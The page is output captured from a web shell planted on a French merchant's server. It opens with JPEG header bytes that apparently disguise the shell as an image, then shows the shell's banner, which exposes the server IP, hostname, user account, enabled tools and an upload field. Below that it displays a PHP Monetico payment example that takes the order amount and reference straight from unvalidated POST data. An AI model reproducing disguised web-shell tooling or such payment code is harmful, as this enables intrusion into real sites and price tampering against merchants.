ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/litsolide.com/CE_payment/Monetico/Examples/ |
Upload File : |
<?php
namespace MoneticoDemoWebKit\Examples;
use MoneticoDemoWebKit\Monetico\Collections\Currency;
use MoneticoDemoWebKit\Monetico\Collections\Language;
use MoneticoDemoWebKit\Monetico\Request\OrderContext;
use MoneticoDemoWebKit\Monetico\Request\OrderContextBilling;
use MoneticoDemoWebKit\Monetico\Request\OrderContextClient;
use MoneticoDemoWebKit\Monetico\Request\PaymentRequest;
/**
* Example of a basic payment request
*/
class BasicPaymentExample implements IPaymentRequestExample
{
/*** @var PaymentRequest*/
private $paymentRequest;
public function __construct()
{
// Do NOT generate reference like this in production
// since different clients could have the same reference if they try to pay at the same second
$generatedReference = uniqid("ref");
$cmref = $_POST['commandeid'];
$sReference = $cmref;
$sMontant = $_POST['total'];
$sAdresse = $_POST['adresse'];
$sVille = $_POST['ville'];
$sCodep = $_POST['codep'];
$sText = "Commande";
$billing = new OrderContextBilling($sAdresse, $sVille, $sCodep, "FR");
$billing->setPhone(null); // see technical documentation for correct formatting
$billing->setCivility(null);
$billing->setFirstName(null);
$billing->setLastName(null);
$billing->setEmail(null);
/*
$client = new OrderContextClient();
$client->setCivility(null);
$client->setFirstName(null);
$client->setLastName(null);
$client->setEmail(null);
$client->setPhone(null); // see technical documentation for correct formatting
$client->setLastAccountModification(null);
$client->setAuthenticationTimestamp(null);
*/
$context = new OrderContext($billing);
// $context->setOrderContextClient($client);
$paymentRequest = new PaymentRequest($sReference, $sMontant, Currency::EUR, Language::FR, $context);
$paymentRequest->setTexteLibre($sText);
/**
* To set the url_retour_ok and url_retour_err manually, please use these functions
* $paymentRequest->setUrlRetourOk("https://www.mywebsite.com");
* $paymentRequest->setUrlRetourErreur();
*/
$paymentRequest->setUrlRetourOk("https://www.latikbou.com/Monetico/accept.php?REF=$sReference");
$paymentRequest->setUrlRetourErreur("https://www.latikbou.com/Monetico/refuse.php");
$this->setPaymentRequest($paymentRequest);
}
public function getDescription()
{
return "This example shows a basic payment request using the most usual options.";
}
public function getName()
{
return "Basic payment request";
}
/**
* @return \MoneticoDemoWebKit\Monetico\Request\PaymentRequest
*/
public function getPaymentRequest(): \MoneticoDemoWebKit\Monetico\Request\PaymentRequest
{
return $this->paymentRequest;
}
/**
* @param \MoneticoDemoWebKit\Monetico\Request\PaymentRequest $paymentRequest
*/
public function setPaymentRequest(\MoneticoDemoWebKit\Monetico\Request\PaymentRequest $paymentRequest): void
{
$this->paymentRequest = $paymentRequest;
}
}